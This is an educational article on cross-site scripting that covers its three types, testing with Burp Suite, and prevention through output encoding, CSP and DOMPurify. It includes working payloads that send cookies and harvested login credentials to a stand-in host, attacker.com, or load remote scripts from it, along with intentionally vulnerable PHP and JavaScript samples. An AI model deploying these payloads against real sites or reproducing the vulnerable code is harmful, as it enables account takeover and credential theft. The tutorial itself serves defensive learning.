What is Cross-Site Scripting (XSS)?
Cross-Site Scripting (XSS) is a web application vulnerability that allows attackers to inject malicious scripts into web pages viewed by other users. When victims visit compromised pages, their browsers execute the attacker’s code, potentially leading to session hijacking, credential theft, malware distribution, or complete account compromise.
XSS remains one of the most prevalent web application vulnerabilities, consistently ranking in the OWASP Top 10. Understanding XSS mechanics, types, and prevention is essential for both developers and security professionals.
Three Primary Types of XSS
1. Reflected XSS
Reflected XSS occurs when user input is immediately reflected in the response without proper sanitization. The malicious payload doesn’t persist on the server.
Example scenario:
A search page reflects user input:
<html>
<body>
<h1>Search Results for: <?php echo $_GET['query']; ?></h1>
</body>
</html>
Exploitation:
An attacker crafts a malicious URL:
http://vulnerable-site.com/search.php?query=<script>alert('XSS')</script>
When a victim clicks this link, their browser executes the JavaScript.
Real-world impact:
The attacker could replace the alert with:
<script>
fetch('http://attacker.com/steal?cookie=' + document.cookie)
</script>
This steals the victim’s session cookies, enabling account takeover.
2. Stored XSS
Stored XSS persists on the server, affecting all users who view the compromised content. This is the most severe XSS type.
Example scenario:
A comment system stores user comments without sanitization:
// Vulnerable code
$comment = $_POST['comment'];
$db->query("INSERT INTO comments VALUES ('$comment')");
Exploitation:
An attacker submits a comment:
Great product! <img src=x onerror="fetch('http://attacker.com/steal?cookie='+document.cookie)">
Every user viewing the page triggers the payload, compromising all their sessions.
Business impact:
- Massive credential theft
- Website reputation damage
- Potential regulatory violations
- Legal liability
3. DOM-Based XSS
DOM-based XSS occurs when client-side JavaScript processes untrusted data without proper sanitization.
Example scenario:
// Vulnerable JavaScript
document.getElementById('content').innerHTML = document.location.hash.substring(1);
Exploitation:
The attacker crafts a URL:
http://vulnerable-site.com/page.html#<img src=x onerror="alert('DOM XSS')">
Client-side JavaScript processes the hash fragment, inserting the malicious payload into the DOM.
Why it’s dangerous:
- Server-side security controls don’t see the payload
- Occurs entirely in the browser
- Difficult to detect without client-side monitoring
Common XSS Injection Vectors
HTML Event Handlers
<img src=x onerror="malicious code">
<body onload="malicious code">
<div onmouseover="malicious code">
<input onfocus="malicious code">
<script>alert('XSS')</script>
<script src="http://attacker.com/malicious.js"></script>
<svg onload="alert('XSS')">
<svg><animate attributeName="onclick" to="alert('XSS')" />
Data URLs
<iframe src="data:text/html,<script>alert('XSS')</script>"></iframe>
CSS Expressions
<style>
body { background-image: url("javascript:alert('XSS')"); }
</style>
Testing for XSS Vulnerabilities
Manual Testing Steps
- Identify input points: Forms, URL parameters, headers, file uploads
- Create test payloads: Use harmless JavaScript like
<script>alert('XSS')</script>
- Submit payloads: Enter test code in each input field
- Monitor execution: Check if JavaScript executes in your browser
- Verify persistence: Reload the page to check for stored vulnerabilities
Practical Testing Example
Testing a vulnerable feedback form:
<!-- Vulnerable form -->
<form action="feedback.php" method="POST">
<textarea name="feedback"></textarea>
<button type="submit">Submit</button>
</form>
<!-- Server processes without sanitization -->
<?php
echo "Your feedback: " . $_POST['feedback'];
?>
Test payload:
<img src=x onerror="console.log('XSS vulnerability found!')">
If the JavaScript executes, the application is vulnerable.
Using Burp Suite for XSS Detection
- Proxy your browser traffic through Burp Suite
- Submit test payloads
- Review server responses in the HTTP history tab
- Check if payloads are reflected without encoding
- Use Burp’s Scanner module for automated detection
Real-World XSS Exploitation
Session Hijacking Attack
// Attacker injects this payload
<script>
const img = new Image();
img.src = 'http://attacker.com/steal.php?cookie=' + encodeURIComponent(document.cookie);
</script>
The victim’s browser sends their session cookie to the attacker’s server, enabling impersonation.
Credential Harvesting
// Create fake login form
<script>
document.body.innerHTML = '<form id="login"><input name="user" placeholder="Username"><input type="password" name="pass" placeholder="Password"><button>Login</button></form>';
document.getElementById('login').onsubmit = function() {
fetch('http://attacker.com/harvest?user=' + document.querySelector('[name=user]').value + '&pass=' + document.querySelector('[name=pass]').value);
}
</script>
Users believe they need to re-authenticate, surrendering credentials to the attacker.
Malware Distribution
<script>
const script = document.createElement('script');
script.src = 'http://attacker.com/malware.js';
document.head.appendChild(script);
</script>
The injected script loads additional malicious code, potentially delivering malware.
XSS Prevention Methods
Whitelist acceptable input formats:
// PHP example
if (!preg_match('/^[a-zA-Z0-9_\-\.]+$/', $username)) {
die('Invalid username');
}
Reject any input that doesn’t match expected patterns.
Output Encoding
Encode data before displaying in HTML:
// HTML encoding
echo htmlspecialchars($user_input, ENT_QUOTES, 'UTF-8');
// JavaScript encoding
echo json_encode($user_input);
// URL encoding
echo urlencode($user_input);
Different contexts require different encoding:
- HTML context: Use
htmlspecialchars()
- JavaScript context: Use JSON encoding
- URL context: Use URL encoding
- CSS context: Escape special characters
Content Security Policy (CSP)
Implement CSP headers to restrict script execution:
Content-Security-Policy: default-src 'self'; script-src 'self'
This prevents inline scripts and restricts scripts to same-origin only.
Advanced CSP:
Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted-cdn.com; object-src 'none'; style-src 'self' 'unsafe-inline'
Use Security Libraries
Employ established security libraries:
// Using DOMPurify for sanitization
const clean = DOMPurify.sanitize(untrustedHTML);
document.getElementById('content').innerHTML = clean;
// Using HTMLPurifier in PHP
require_once 'HTMLPurifier/Bootstrap.php';
$purifier = new HTMLPurifier();
$clean = $purifier->purify($user_input);
Secure Frameworks
Modern frameworks provide built-in XSS protection:
// React auto-escapes content
const user_input = '<img src=x onerror="alert()">';
<div>{user_input}</div> // Renders escaped, safe
// Vue.js example
<div v-text="user_input"></div> // Auto-escaped
OWASP XSS Prevention Cheat Sheet
| Context | Encoding Method |
|---|
| HTML body | HTML encode |
| HTML attribute | HTML encode |
| JavaScript data | JavaScript encode |
| URL parameter | URL encode |
| CSS | CSS encode |
| DOM property | HTML encode |
Testing for XSS in Your Organization
Create a testing checklist:
- All user input fields
- URL parameters
- File uploads
- Email headers
- HTTP headers (Referer, User-Agent)
- API responses
- Third-party integrations
Automate detection:
- Enable security scanning in your CI/CD pipeline
- Use SAST tools to analyze source code
- Implement runtime application self-protection (RASP)
Conclusion
XSS vulnerabilities continue to plague web applications because developers underestimate their severity and ease of exploitation. Understanding XSS types—reflected, stored, and DOM-based—enables proper identification and remediation. Implementing proper input validation, output encoding, and Content Security Policy creates multiple layers of defense.
Practice identifying and exploiting XSS vulnerabilities on intentionally vulnerable applications like DVWA and WebGoat. When developing applications, make secure coding practices—particularly output encoding—an automatic habit. Regular security testing and code review ensure XSS vulnerabilities don’t reach production environments.